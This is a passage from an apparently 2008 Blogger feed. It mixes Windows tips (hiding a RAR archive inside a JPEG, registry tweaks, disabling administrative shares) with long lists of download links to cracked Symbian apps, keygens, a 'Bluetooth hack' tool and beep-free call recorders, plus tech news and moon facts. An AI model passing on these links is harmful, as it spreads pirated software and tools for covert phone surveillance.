style="font-size:130%;"><span style=""><span style=""><strong>2.</strong></span> <span style="font-size:85%;">Now, add those files in a RAR archive (e.g. secret.rar). This file should also be in the same directory (C:\hidden).</span></span></span></p><p><span style="font-size:85%;"></span></p><p><span style="font-size:130%;"><span style=""><span style=""><strong>3.</strong></span> <span style="font-size:85%;">Now, look for a simple JPEG picture file (e.g. logo.jpg). Copy/Paste that file also in C:\hidden.</span></span></span></p><p><span style="font-size:85%;"></span></p><p><span style="font-size:130%;"><span style=""><span style=""><strong>4.</strong></span> <span style="font-size:85%;">Now, open Command Prompt (Go to Run and type 'cmd').</span></span></span></p><p><span style="font-size:85%;"></span></p><p><span style="font-size:130%;"><span style=""><span style=""><strong>5.</strong></span> <span style="font-size:85%;">in command propt : go to hidden directory by command "cd c:\hidden" wen u in hidden folder via cmd Now type: "COPY /b logo.jpg + secret.rar output.jpg"(without quotes)Now, logo.jpg is the picture you want to show, secret.rar is the file to be hidden, and output.jpg is the file which contains both.</span></span></span></p><p><span style="font-size:85%;"></span></p><p><span style="font-size:130%;"><span style=""><span style=""><strong>6.</strong></span> <span style="font-size:85%;">after you have done this, you will see a file output.jpg in C:\hidden. Open it (double-click) and it will show the picture you wanted to show. Now try opening the same file with WinRAR, it will show the hidden archive .names given above are for examples only, u can keep names as ur choice.</span></span></span></p><p><span style="font-size:85%;"></span></p><p><span style="font-size:85%;"></span></p><p align="center"><strong><span style="font-size:180%;">Remove The Recent Documents Folder From The Start Menu:</span></strong></p><p><span style=""><span style="font-size:130%;"><strong>1)</strong></span> Goto Start --> Run</span></p><p><span style=""><strong><span style="font-size:130%;">2) </span></strong>Type Regedit</span></p><p><span style=""><strong><span style="font-size:130%;">3)</span></strong> Goto HKEY_LOCAL_MACHINE --> Software --> Microsoft --> Windows --></span><span style=""> CurrentVersion --> Policies</span></p><p><span style=""><span style="font-size:130%;"><strong>4)</strong></span> On the right panel, Right Click and creat a new DWORD value (if not exists) "NoRecentDocsMenu" (without quotes) and set its value to 1.</span></p><p><span style=""><strong><span style="font-size:130%;">5)</span></strong> Exit the registry and restart your computer.</span></p><p><span style=""></span></p><p><span style=""></span></p><p align="center"><strong><span style="font-size:180%;">Fasten Up All Programs Link On The Start Button:</span></strong><br /><span style="font-size:85%;"><span style=""><span style="font-size:78%;">The Start Menu can be leisurely when it decides to appear, but you can speed things along by changing the registry entryto edit registry</span>.</span></span></p><p><span style=""><strong><span style="font-size:130%;">1.</span></strong> go to run</span></p><p><span style=""><strong><span style="font-size:130%;">2.</span></strong> type 'regedit'</span></p><p><span style=""><span style="font-size:130%;"><strong>3.</strong></span> find--HKEY_CURRENT_USER/Control Panel/Desktop/MenuShowDelay from the default 400 to something a little snappier. Like 0</span></p><p><span style=""></span></p><p><span style=""></span></p><p align="center"><span style="font-size:180%;"><strong>Default Or Administrative Shares Problem:</strong></span><br /><span style="font-size:78%;">What are Default or Administrative Shares?Every Windows NT/W2K/XP/2003 machine automatically creates a share for each drive on the system. These shares are hidden, but available with full control to domain administrators. The drive letter, followed by the $ sign is the name, and it is shared from the root. When trying to attain a highly secure network, you may wish to address this potential security issue by disabling these shares, or at least restricting their permissions to specific users or services.</span></p><p align="center"><span style=""><strong>The default-hidden shares are:</strong></span></p><p><span style="font-size:130%;"><strong>*C$ D$ E$ -</strong></span> <span style="font-size:78%;">Root of each partition. For a Windows NT workstation/W2K/2003/XP Professional computer only members of the Administrators or Backup Operators group can connect to these shared folders. For a Windows NT Server/W2K Server computer, members of the Server Operators group can also connect to these shared folders.</span></p><p><span style="font-size:78%;"><span style="font-size:130%;">*<strong><span style="">ADMIN$ - %SYSTEMROOT%</span> <span style="">-</span></strong></span><span style="">This share is used by the system during any remote administration of a computer. The path of this resource is always the path to the W2K/NT system root (the directory in which W2K/NT is installed usually C:\Winnt and in XP it's C:\Windows).</span></span></p><p><span style="font-size:78%;"><span style="font-size:130%;"><strong>*FAX$ -</strong></span><span style=""> </span><span style="">On W2K Server, this used by fax clients in the process of sending a fax. The shared folder temporarily caches files and accesses cover pages stored on the server.</span></span></p><p><span style="font-size:78%;"><strong><span style="font-size:130%;">*IPC$ -</span></strong> <span style="">Temporary connections between servers using named pipes essential for communication between programs. It is used during remote administration of a computer and when viewing a computer's shared resources. This share can be very dangerous and can be used to extract large amounts of information about your network, even by an anonymous account.</span></span></p><p><span style="font-size:78%;"><span style=""><span style="font-size:130%;"><strong>*NetLogon -</strong></span> This share is used by the Net Logon service of a W2K, 2003 and NT Server computer while processing domain logon requests, and by Pre-W2K computers when running logon scripts.</span></span></p><p><span style="font-size:78%;"><span style=""><strong><span style="font-size:130%;">*PRINT$ -</span></strong> %SYSTEMROOT%\SYSTEM32\SPOOL\DRIVERS Used during remote administration of printers.</span></span></p><p align="center"><br /><strong>In order to disable these shares permanently, a registry edit will be necessary. You have to follow the steps to disable these shares:</strong></p><p align="center"><strong><span style="font-size:180%;">For Server, the change is:</span></strong></p><p><span style=""><strong><span style="font-size:130%;">1)</span></strong> Goto Start --> Run</span></p><p><span style=""><strong><span style="font-size:130%;">2)</span></strong> Type Regedit</span></p><p><span style=""><strong><span style="font-size:130%;">3)</span></strong> Goto HKEY_LOCAL_MACHINE --> SYSTEM --> CurrentControlSet --> Services --> LanManServer --> Parameters</span></p><p><span style=""><strong><span style="font-size:130%;">4)</span></strong> On the right panel, Right Click and creat a new DWORD value "AutoShareServer" (without quotes) and set its value to 0 (zero).</span></p><p><span style=""><strong><span style="font-size:130%;">5)</span></strong> Exit the registry and restart your computer.</span></p><p align="center"><span style="font-size:180%;"><strong>For Workstartion i.e WinXP,Win2000 etc:</strong></span></p><p><strong><span style="font-size:130%;">1)</span></strong><span style=""> Goto Start --> Run</span></p><p><span style=""><strong><span style="font-size:130%;">2)</span></strong> Type Regedit</span></p><p><span style=""><strong><span style="font-size:130%;">3)</span></strong> Goto HKEY_LOCAL_MACHINE --> SYSTEM --> CurrentControlSet --> Services --> LanManServer --> Parameters</span></p><p><span style=""><strong><span style="font-size:130%;">4)</span></strong> On the right panel, Right Click and creat a new DWORD value "AutoShareWks" (without quotes) and set its value to 0 (zero).</span></p><p><span style=""><strong><span style="font-size:130%;">5)</span></strong> Exit the registry and restart your computer.</span></p><p></p><p align="center"><span style="font-size:180%;"><strong>Enable RUN:</strong></span></p><p><span style=""><span style="font-size:130%;"><strong>1.</strong></span>go to c:\windows\registry.exe</span></p><p><span style=""><strong><span style="font-size:130%;">2.</span></strong>registry ull find follow the pathRegistry Key:</span></p><p><span style=""><span style="font-size:130%;"><strong>3.</strong></span>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ Policies\Explorerin this ull find "norun"towards the right side just delete it.....</span></p></div></div></span></div></div></div></div></div></div></div></div><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6229729557913482776-7980886582002359142?l=sunsofts.blogspot.com' alt='' /></div>sivahttp://www.blogger.com/profile/14913623865795521845noreply@blogger.com0tag:blogger.com,1999:blog-6229729557913482776.post-51036734197498040102008-10-22T07:24:00.000-07:002008-10-22T07:26:42.574-07:00Get the free stuff from these links..<br /><a class="external" href="http://www.freeurl.com/" rel="nofollow" target="_blank">http://www.freeurl.com/</a><br /><a class="external" href="http://www.jwdx.com/" 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href="http://www.4shared.com/file/67882491/85d49758/SplusFakeSoundsE90RetailUNPDA.html" target="_blank">Splus.FakeSounds.E90.Retail.UNPDA.sis</a><br /><a href="http://www.4shared.com/file/67882495/82b95341/Super_Bluetooth_Hack_v107.html" target="_blank">Super Bluetooth Hack v1.07.jar</a><br /><a href="http://www.4shared.com/file/67882502/ccdd179c/SymTorrentv121S60v3SymbianOS91.html" target="_blank">SymTorrent.v1.21.S60v3.SymbianOS9.1.sisx</a><br /><a href="http://www.4shared.com/file/67882505/52b9823f/totalrecal_bdsa97os.html" target="_blank">totalrecal_bdsa97os.sis</a><br /><a href="http://www.4shared.com/file/67882509/5b0fce14/TotalRecallKeygen.html" target="_blank">TotalRecall.Keygen.sis</a><br /><a href="http://www.4shared.com/file/67882511/4ccf7767/VoiceModeCrack.html" target="_blank">VoiceMode.Crack.SiS</a><br /><a href="http://www.4shared.com/file/67882529/6939ac96/VoiceSignalVoiceModev2028S60v3SymbianOS91Unsigned.html" target="_blank">VoiceSignal.VoiceMode.v2.0.28.S60v3.SymbianOS9.1.Unsigned.SiS</a><br /><a href="http://www.4shared.com/file/67882533/90f774c9/wallpaperm_qth6flot.html" target="_blank">wallpaperm_qth6flot.sis</a><br /><a href="http://www.4shared.com/file/67882539/70229dd7/Windows_Media_Player_11.html" target="_blank">Windows Media Player 11.jar</a><br /><a href="http://www.4shared.com/file/67882543/dfb6e20e/zipmanager_4zbzxjkp.html" target="_blank">zipmanager_4zbzxjkp.sis</a><div><br /></div><div>SOME MORE..</div><div><div>1.DivXPlayer.v0.88</div><div>http://rapidshare.com/files/46771507/DivXPlayer.v0.88.sisx.html BY Geo-InDiA wAcKeD</div><div><br /></div><div>2.FExplorer</div><div>http://rapidshare.com/files/34854280/FExplorer_116b.SIS.html BY Geo-InDiA wAcKeD</div><div><br /></div><div>3.mobiola web cam</div><div>http://rapidshare.com/files/41705226/webcam.rar.html BY Geo-InDiA wAcKeD</div><div><br /></div><div>4.yexplorer</div><div>http://rapidshare.com/files/46162492/Y_Browser.rar.html BY Geo-InDiA wAcKeD</div><div><br /></div><div>5.media safe</div><div>http://rapidshare.com/files/47546863/media_safe.sis.html BY Geo-InDiA wAcKeD</div><div><br /></div><div>6.dictionary(collins...njoy!!!:)</div><div>http://rapidshare.com/files/51003336/dict.rar BY Geo-InDiA wAcKeD</div><div><br /></div><div>7.smart guard</div><div>http://rapidshare.com/files/42271910/SmartGuard.sis.html BY Geo-InDiA wAcKeD</div><div><br /></div><div>8.lcg jukebox</div><div>http://rapidshare.com/files/40435590/LCGJukebo.sis.html BY Geo-InDiA wAcKeD</div><div><br /></div><div>9.yahoo msngr</div><div>http://rapidshare.com/files/44786037/yahoo_n_73.SIS.html BY Geo-InDiA wAcKeD</div><div><br /></div><div>10.quick office</div><div>http://rapidshare.com/files/47555827/quick_office.rar.html BY Geo-InDiA wAcKeD</div><div><br /></div><div>11.call recorder</div><div>http://rapidshare.com/files/35993982/call_recorders.rar.html BY Geo-InDiA wAcKeD</div><div><br /></div><div>12.best call recorder</div><div>http://rapidshare.com/files/41882514/best_call.rar.html BY Geo-InDiA wAcKeD</div><div><br /></div><div>13.full screen caller</div><div>http://rapidshare.com/files/35405757/Smartphoneware.Best.Full.Screen.rar.html BY Geo-InDiA wAcKeD</div><div><br /></div><div>14.media safe 2 (register media safe with '0000'.dats default key)</div><div>http://rapidshare.com/files/51021066/safe.sis BY Geo-InDiA wAcKeD</div><div><br /></div><div>15.call filter</div><div>http://rapidshare.com/files/52701192/Call_Filter_.sis.html BY Geo-InDiA wAcKeD</div><div><br /></div><div>16.dis is a new s/w called phone bak.this will shows d theif's contact number,location,imie and all</div><div>http://rapidshare.com/files/52708735/ph_bak.rar.html BY Geo-InDiA wAcKeD</div><div><br /></div><div>17.taskman</div><div>http://rapidshare.com/files/50604651/task_man.rar.html BY Geo-InDiA wAcKeD</div><div><br /></div><div>18.flash lite</div><div><a href="http://rapidshare.com/files/55956527/flashlite.SIS.html%20BY%20Geo-InDiA%20wAcKeD">http://rapidshare.com/files/55956527/flashlite.SIS.html BY Geo-InDiA wAcKeD</a></div><div><br /></div><div>19.CorePlayer</div><div><a href="http://rapidshare.com/files/60704415/CoreCodec.CorePlayer.sis.html%20BY%20Geo-InDiA%20wAcKeD">http://rapidshare.com/files/60704415/CoreCodec.CorePlayer.sis.html BY Geo-InDiA wAcKeD </a></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div>20.airtel live</div><div><a href="http://rapidshare.com/files/99273626/airtellivetv_n73.rar.html">http://rapidshare.com/files/99273626/airtellivetv_n73.rar.html</a></div><div><br /></div><div>21.Best_Full_Screen_Caller_v2.04</div><div><a href="http://rapidshare.com/files/99274331/Best_Full_Screen_Caller_v2.04.rar.html">http://rapidshare.com/files/99274331/Best_Full_Screen_Caller_v2.04.rar.html</a></div><div><br /></div><div>22.blacklist</div><div><a href="http://rapidshare.com/files/99274533/bestblackl_sdpmep6i.sisx.html">http://rapidshare.com/files/99274533/bestblackl_sdpmep6i.sisx.html</a></div><div><br /></div><div>23.bluetooth hack</div><div><a href="http://rapidshare.com/files/99274732/blutoothch_xsjv7tw6.sis.html">http://rapidshare.com/files/99274732/blutoothch_xsjv7tw6.sis.html</a></div><div><br /></div><div>24.handyzip</div><div><a href="http://rapidshare.com/files/99278139/handyzip.rar.html">http://rapidshare.com/files/99278139/handyzip.rar.html</a></div><div><br /></div><div>25.mobile guide</div><div><a href="http://rapidshare.com/files/99278328/India_Mobile_Gudie_v1.5.1_J2ME.zip.htm">http://rapidshare.com/files/99278328/India_Mobile_Gudie_v1.5.1_J2ME.zip.htm</a><a href="http://www.blogger.com/l">l</a></div><div><br /></div><div>26.total recall in english (software to record incoming and outgoing calls without beep)</div><div><a href="http://rapidshare.com/files/99278514/killer_Mobile_Total_recall_v1_3_1.zip.html">http://rapidshare.com/files/99278514/killer_Mobile_Total_recall_v1_3_1.zip.html</a></div><div><br /></div><div>27.n torch lite</div><div><a href="http://rapidshare.com/files/99278616/OTStudio.NTorch.Lite.v1.00.S60v3.SymbianOS9.1.Cracked-BiNPDA.rar.html">http://rapidshare.com/files/99278616/OTStudio.NTorch.Lite.v1.00.S60v3.SymbianOS9.1.Cracked-BiNPDA.rar.html</a></div><div><br /></div><div>28.portfolio manager</div><div><a href="http://rapidshare.com/files/99278743/portfoliomanager.rar.html">http://rapidshare.com/files/99278743/portfoliomanager.rar.html</a></div><div><br /></div><div>29.smart movie player vista( 0000 is reg key)</div><div><a href="http://rapidshare.com/files/99279728/smart_mmovie_player_vista.rar.html">http://rapidshare.com/files/99279728/smart_mmovie_player_vista.rar.html</a></div><div><br /></div><div>30.photorite</div><div><a href="http://rapidshare.com/files/99280617/Zensis_PhotoRite.SP.v6.11.S60v3.sis.html">http://rapidshare.com/files/99280617/Zensis_PhotoRite.SP.v6.11.S60v3.sis.html</a></div><div><br /></div><div>31.y browser latest one</div><div><a href="http://rapidshare.com/files/99280820/Y_Browser_082_4_3rdEd.SIS.html">http://rapidshare.com/files/99280820/Y_Browser_082_4_3rdEd.SIS.html</a></div><div><br /></div><div>32.x plore</div><div><a href="http://rapidshare.com/files/99281450/X-plore_S60_3rd.sis.html">http://rapidshare.com/files/99281450/X-plore_S60_3rd.sis.html</a></div><div><br /></div><div>33.ultimate voice recorder ( the best voice recording and not call recording software)</div><div><a href="http://rapidshare.com/files/99281940/ultimate_voice_recorder.rar.html">http://rapidshare.com/files/99281940/ultimate_voice_recorder.rar.html</a></div><div><br /></div><div>34.theme editor</div><div><a href="http://rapidshare.com/files/99284924/theme_editor.rar.html">http://rapidshare.com/files/99284924/theme_editor.rar.html</a></div><div><br /></div><div><br /></div><div><br /></div><div>Hi frnds here r some very usful applications for os 9.1 :</div><div>enjoy.</div><div><br /></div><div><a href="http://rapidshare.com/files/73993795/smart_movie_3.40_for_N73.zip/%20%20http://rapidshare.com/files/78134241/anti_theft_for_mobile___os_9.1-for_n73_n95.zip/%20%20http://rapidshare.com/files/94550435/GBA_emulator___keygen_for_S60v3.zip/%20%20http://rapidshare.com/files/94769994/safe_locker_for_N73.zip/%20%20http://rapidshare.com/files/94772124/auto_lock_for_N73___media_safe.zip/%20%20http://rapidshare.com/files/108013712/medical_pathology-ROBBINS.pdb/%20%20http://rapidshare.com/files/118225385/MsDist_viewer_cracked_for_os_9.zip/%20%20%20%20http://rapidshare.com/files/118223848/medical.pdb%20%28medical%20dictionary%29/%20%20http://rapidshare.com/files/94767745/MSDict.Viewer.v4.10.Multilanguage.S60.SymbianOS.Cracked___english_dist.zip/%20%20http://rapidshare.com/files/118226864/isilo_pdb_reader_for_os9.zip/%20%20http://rapidshare.com/files/118228402/Private.Call.And.Sms.Guard_data_guard.v3.20.S60v3.SymbianOS9.1.Incl.Keygen.zip/%20%20http://rapidshare.com/files/118229098/gba_games_emulator_for_os9.zip/%20%20http://rapidshare.com/files/118229555/yahoo_messenger_for_all_mobiles.jar_file.zip/%20%20http://rapidshare.com/files/118230354/total_call_recorder_keygen_for_os9.zip/%20%20http://rapidshare.com/files/118231228/divx_player_for_os_9.1.zip/">http://rapidshare.com/files/73993795/smart_movie_3.40_for_N73.zip/</a></div><div><a href="http://rapidshare.com/files/73993795/smart_movie_3.40_for_N73.zip/%20%20http://rapidshare.com/files/78134241/anti_theft_for_mobile___os_9.1-for_n73_n95.zip/%20%20http://rapidshare.com/files/94550435/GBA_emulator___keygen_for_S60v3.zip/%20%20http://rapidshare.com/files/94769994/safe_locker_for_N73.zip/%20%20http://rapidshare.com/files/94772124/auto_lock_for_N73___media_safe.zip/%20%20http://rapidshare.com/files/108013712/medical_pathology-ROBBINS.pdb/%20%20http://rapidshare.com/files/118225385/MsDist_viewer_cracked_for_os_9.zip/%20%20%20%20http://rapidshare.com/files/118223848/medical.pdb%20%28medical%20dictionary%29/%20%20http://rapidshare.com/files/94767745/MSDict.Viewer.v4.10.Multilanguage.S60.SymbianOS.Cracked___english_dist.zip/%20%20http://rapidshare.com/files/118226864/isilo_pdb_reader_for_os9.zip/%20%20http://rapidshare.com/files/118228402/Private.Call.And.Sms.Guard_data_guard.v3.20.S60v3.SymbianOS9.1.Incl.Keygen.zip/%20%20http://rapidshare.com/files/118229098/gba_games_emulator_for_os9.zip/%20%20http://rapidshare.com/files/118229555/yahoo_messenger_for_all_mobiles.jar_file.zip/%20%20http://rapidshare.com/files/118230354/total_call_recorder_keygen_for_os9.zip/%20%20http://rapidshare.com/files/118231228/divx_player_for_os_9.1.zip/"><br /></a></div><div><a href="http://rapidshare.com/files/73993795/smart_movie_3.40_for_N73.zip/%20%20http://rapidshare.com/files/78134241/anti_theft_for_mobile___os_9.1-for_n73_n95.zip/%20%20http://rapidshare.com/files/94550435/GBA_emulator___keygen_for_S60v3.zip/%20%20http://rapidshare.com/files/94769994/safe_locker_for_N73.zip/%20%20http://rapidshare.com/files/94772124/auto_lock_for_N73___media_safe.zip/%20%20http://rapidshare.com/files/108013712/medical_pathology-ROBBINS.pdb/%20%20http://rapidshare.com/files/118225385/MsDist_viewer_cracked_for_os_9.zip/%20%20%20%20http://rapidshare.com/files/118223848/medical.pdb%20%28medical%20dictionary%29/%20%20http://rapidshare.com/files/94767745/MSDict.Viewer.v4.10.Multilanguage.S60.SymbianOS.Cracked___english_dist.zip/%20%20http://rapidshare.com/files/118226864/isilo_pdb_reader_for_os9.zip/%20%20http://rapidshare.com/files/118228402/Private.Call.And.Sms.Guard_data_guard.v3.20.S60v3.SymbianOS9.1.Incl.Keygen.zip/%20%20http://rapidshare.com/files/118229098/gba_games_emulator_for_os9.zip/%20%20http://rapidshare.com/files/118229555/yahoo_messenger_for_all_mobiles.jar_file.zip/%20%20http://rapidshare.com/files/118230354/total_call_recorder_keygen_for_os9.zip/%20%20http://rapidshare.com/files/118231228/divx_player_for_os_9.1.zip/">http://rapidshare.com/files/78134241/anti_theft_for_mobile___os_9.1-for_n73_n95.zip/</a></div><div><a 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</a></div></div><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6229729557913482776-4148451109096583909?l=sunsofts.blogspot.com' alt='' /></div>sivahttp://www.blogger.com/profile/14913623865795521845noreply@blogger.com0tag:blogger.com,1999:blog-6229729557913482776.post-54440404217877298962008-10-20T15:44:00.000-07:002008-11-04T19:43:50.952-08:00<span class="Apple-style-span" style="color: rgb(51, 51, 51); line-height: 19px;font-family:Verdana;font-size:12;" ><p style="margin: 0px; padding: 0px 0px 10px;">* <strong style="font-weight: bold;">Wii Balance Board:</strong> Wii Fit is a video game developed by Nintendo for the Wii console. It uses the pressure-sensitive Wii Balance Board. The board is used for an extensive array of fun and dynamic activities, including aerobics, yoga, muscle stretches and games. Many of these activities focus towards providing a “core” workout, a popular exercise method that emphasizes slower, controlled motions. Family members will have fun staying active and talking about and comparing their results and progress on a new channel on the Wii Menu.</p><p style="margin: 0px; padding: 0px 0px 10px;">* <strong style="font-weight: bold;">Cell phones with Google Android:</strong> Google announced it’s finishing up a mobile-software package that will include an operating system and applications and cost absolutely nothing. But will not be a “Google phone” because Google only will provide the software. The phones will be made by companies like HTC, Motorola or Qualcomm. They will be launched at the middle of 2008.</p><p style="margin: 0px; padding: 0px 0px 10px;"><img src="http://www.myddnetwork.com/tech-money/wp-content/uploads/2007/12/iphone-3g.jpg" alt="iPhone 3G" style="border-style: solid; border-color: rgb(238, 238, 238) rgb(221, 221, 221) rgb(221, 221, 221) rgb(238, 238, 238); border-width: 1px; margin: 5px 8px 5px 0px; padding: 4px; background-color: rgb(255, 255, 255); float: left;" align="left" />* <strong style="font-weight: bold;">iPhone 3G:</strong> AT&amp;T CEO Randall Stephenson confirmed a 3G capable iPhone will be launched in 2008. This will be a great step for this device because, so far, it is enough good when you need to use it as a pretty device, media player or Internet browser… but maybe it’s not the best cell phone. However, with 3G, iPhone could be a hit again.</p><p style="margin: 0px; padding: 0px 0px 10px;"><img src="http://www.myddnetwork.com/tech-money/wp-content/uploads/2007/12/penryn.jpg" alt="Penryn" style="border-style: solid; border-color: rgb(238, 238, 238) rgb(221, 221, 221) rgb(221, 221, 221) rgb(238, 238, 238); border-width: 1px; margin: 5px 8px 5px 0px; padding: 4px; background-color: rgb(255, 255, 255); float: left;" align="left" />* <strong style="font-weight: bold;">Penryn:</strong> We won’t have to wait much longer (only until January) to meet the new Intel processors: the next version of Core Duo with Penryn (codename) core. These new processors are able to run at 3 GHz and they have a FSB (Front Side Bus) at 1333 MHz. So far, the new desktop versions are called Wolfdale (dual-core) and Yorkfield (quad-core). They will have Penryn core, SSE4 instructions, and important improvements for video encoding.</p></span><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6229729557913482776-5444040421787729896?l=sunsofts.blogspot.com' alt='' /></div>sivahttp://www.blogger.com/profile/14913623865795521845noreply@blogger.com0tag:blogger.com,1999:blog-6229729557913482776.post-65577029789458827082008-10-20T15:07:00.001-07:002008-11-04T19:49:25.370-08:00THIS BLOG IS JUST CREATED FOR SIMPLE PUROSE AND DONOT BE LIABLE FOR ANY PROBLEMS CAUSED OR DONE DUE TO THE CONTENT PRESENTED HERE.AND DOWNLOADS ARE JUST AVAILABLE FROM 4SHARED .COM AND THIS SITE OR ITS OWNERS ARE NOT ANSWERABLE FOR ANYTHING.AND MATTERS PRESENTED HERE ARE JUST SOUGHT FROM MY BROWSING HISTORY AND THEY MAY RESEMBLE SIMILAR WITH OTHER SITE'S CONTENT.AS THINGS CAN'T BE WITH ONLY SINGLE SITE OR PERSON.<div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6229729557913482776-6557702978945882708?l=sunsofts.blogspot.com' alt='' /></div>sivahttp://www.blogger.com/profile/14913623865795521845noreply@blogger.com0tag:blogger.com,1999:blog-6229729557913482776.post-89970809857076138632008-10-17T18:04:00.000-07:002008-11-04T19:48:51.100-08:00<span style=";font-family:arial;font-size:100%;" ><span style="font-family:arial;"><span style="color: rgb(51, 51, 51);font-family:Verdana,Arial,Helvetica;" ><span style="font-family:Arial,Helvetica;"><b><span style="color: rgb(102, 0, 204);">Bye bye Moon</span></b></span><!-- Begin Right Nested Table --> </span></span></span><p><span style=";font-family:arial;font-size:100%;" ><span style="font-family:arial;"><span style="color: rgb(51, 51, 51);font-family:Verdana,Arial,Helvetica;" ><span style="font-family:Arial,Helvetica;"><span style="color: rgb(255, 255, 255);">As you read this, the Moon is moving away from us. Each year, the Moon steals some of Earth's rotational energy, and uses it to propel itself about 3.8 centimeters higher in its orbit. Researchers say that when it formed, the Moon was about 14,000 miles </span>(22,530 kilometers) from Earth. It's now more than 280,000 miles, or 450,000 kilometers away.</span></span></span></span></p><span style=";font-family:arial;font-size:100%;" ><span style="font-family:arial;"><b><span style="font-family:Arial,Helvetica;"><span style="color: rgb(102, 0, 204);">Ocean tug</span></span></b></span></span> <p><span style=";font-family:arial;font-size:100%;" ><span style="font-family:arial;"><span style="font-family:Arial,Helvetica;">Tides on Earth are caused mostly by the Moon (the Sun has a smaller effect). Here's how it works:</span></span></span></p> <p><span style=";font-family:arial;font-size:100%;" ><span style="font-family:arial;"><span style="font-family:Arial,Helvetica;">The Moon's gravity pulls on Earth's oceans. High tide aligns with the Moon as Earth spins underneath. Another high tide occurs on the opposite side of the planet because gravity pulls Earth toward the Moon more than it pulls the water. </span></span></span></p> <span style=";font-family:arial;font-size:100%;" ><span style="font-family:arial;"><span style="font-family:Arial,Helvetica;"> </span> </span></span><p><span style=";font-family:arial;font-size:100%;" ><span style="font-family:arial;"><span style="font-family:Arial,Helvetica;">At full Moon and new Moon, the Sun, Earth and Moon are lined up, producing the higher than normal tides (called <i>spring tides</i>, for the way they spring up). When the Moon is at first or last quarter, smaller <i>neap tides</i> form. The Moon's 29.5-day orbit around Earth is not quite circular. When the Moon is closest to Earth (called its perigee), spring tides are even higher, and they're called perigean spring tides. </span></span></span></p> <p><span style=";font-family:arial;font-size:100%;" ><span style="font-family:arial;"><span style="font-family:Arial,Helvetica;">All this tugging has another interesting effect: Some of Earth's rotational energy is stolen by the Moon, causing our planet to slow down by about 1.5 milliseconds every century.</span></span></span></p><p><span style=";font-family:arial;font-size:100%;" ><span style="font-family:arial;"><b><span style="color: rgb(102, 0, 204);font-family:Arial,Helvetica;" >The Moon is a planet?</span></b></span></span> </p><p><span style=";font-family:arial;font-size:100%;" ><span style="font-family:arial;"><span style="font-family:Arial,Helvetica;">Our Moon is bigger than Pluto. And at roughly one-fourth the diameter of Earth, some scientists think the Moon is more like a planet. They refer to the Earth-Moon system as a "double planet." Pluto and its moon Charon are also called a double-planet system by some.</span></span></span></p><span style=";font-family:arial;font-size:100%;" ><span style="font-family:arial;"><span style="font-family:Arial,Helvetica;"><b><span style="color: rgb(102, 0, 204);">Moonquakes</span></b></span></span></span> <span style=";font-family:arial;font-size:100%;" ><span style="font-family:arial;"><span style="font-family:Arial,Helvetica;"> </span> </span></span><p><span style=";font-family:arial;font-size:100%;" ><span style="font-family:arial;"><span style="font-family:Arial,Helvetica;">Apollo astronauts used seismometers during their visits to the Moon and discovered that the gray orb isn't a totally dead place, geologically speaking. Small moonquakes, originating several miles (kilometers) below the surface, are thought to be caused by the gravitational pull of Earth. Sometimes tiny fractures appear at the surface, and gas escapes. </span></span></span></p> <p><span style=";font-family:arial;font-size:100%;" ><span style="font-family:arial;"><span style="font-family:Arial,Helvetica;">Scientists say they think the Moon probably has a core that is hot and perhaps partially molten, as is Earth's core. But data from NASA's Lunar Prospector spacecraft showed in 1999 that the Moon's core is small -- probably between 2 percent and 4 percent of its mass. This is tiny compared with Earth, in which the iron core makes up about 30 percent of the planet's mass.</span></span></span></p><p><span style=";font-family:arial;font-size:100%;" ><span style="font-family:arial;"><b><span style="color: rgb(102, 0, 204);font-family:Arial,Helvetica;" >Egghead</span></b></span></span> </p><p><span style=";font-family:arial;font-size:100%;" ><span style="font-family:arial;"><span style="font-family:Arial,Helvetica;">The Moon is not round (or spherical). Instead, it's shaped like an egg. If you go outside and look up, one of the small ends is pointing right at you. And the Moon's center of mass is not at the geometric center of the satellite; it's about 1.2 miles (2 kilometers) off-center.</span></span></span></p><span style=";font-family:arial;font-size:100%;" ><span style="font-family:arial;"><b><span style="font-family:Arial,Helvetica;"><span style="color: rgb(102, 0, 204);">Sister moons</span></span></b></span></span> <span style=";font-family:arial;font-size:100%;" ><span style="font-family:arial;"><span style="font-family:Arial,Helvetica;"> </span> </span></span><p><span style=";font-family:arial;font-size:100%;" ><span style="font-family:arial;"><span style="font-family:Arial,Helvetica;">The Moon is Earth's only natural satellite. Right? Maybe not. In 1999, scientists found that a 3-mile- (5-kilometer-) wide asteroid may be caught in Earth's gravitational grip, thereby becoming a satellite of our planet. </span></span></span></p> <p><span style=";font-family:arial;font-size:100%;" ><span style="font-family:arial;"><a href="http://www.space.com/scienceastronomy/solarsystem/second_moon_991029.html"><span style="font-family:Arial,Helvetica;">Cruithne</span></a><span style="font-family:Arial,Helvetica;">, as it is called, takes 770 years to complete a horseshoe-shaped orbit around Earth, the scientists say, and it will remain in a suspended state around Earth for at least 5,000 years.</span></span></span></p><span style=";font-family:arial;font-size:100%;" ><span style="font-family:arial;"><span style="font-family:Arial,Helvetica;"><b><span style="color: rgb(102, 0, 204);">Punching bag</span></b></span></span></span> <span style=";font-family:arial;font-size:100%;" ><span style="font-family:arial;"><span style="font-family:Arial,Helvetica;"> </span> </span></span><p><span style=";font-family:arial;font-size:100%;" ><span style="font-family:arial;"><span style="font-family:Arial,Helvetica;">The Moon's heavily cratered surface is the result of intense pummeling by space rocks between 4.1 billion and 3.8 billion years ago. </span></span></span></p> <p><span style=";font-family:arial;font-size:100%;" ><span style="font-family:arial;"><span style="font-family:Arial,Helvetica;">The scars of this war, seen as craters, have not eroded much for two main reasons: The Moon is not geologically very active, so earthquakes, volcanoes and mountain-building don't destroy the landscape as they do on Earth; and with virtually no atmosphere there is no wind or rain, so very little surface erosion occurs.</span></span></span></p><span style=";font-family:arial;font-size:100%;" ><span style="font-family:arial;"><b><span style="font-family:Arial,Helvetica;"><span style="color: rgb(102, 0, 204);">Moon trees</span></span></b></span></span> <p><span style=";font-family:arial;font-size:100%;" ><span style="font-family:arial;"><span style="font-family:Arial,Helvetica;">More than 400 trees on Earth came from the Moon. Well, okay: They came from lunar orbit. Okay, the truth: In 1971, </span><a href="http://www.space.com/news/spacehistory/a14_retrospective_010131.html"><span 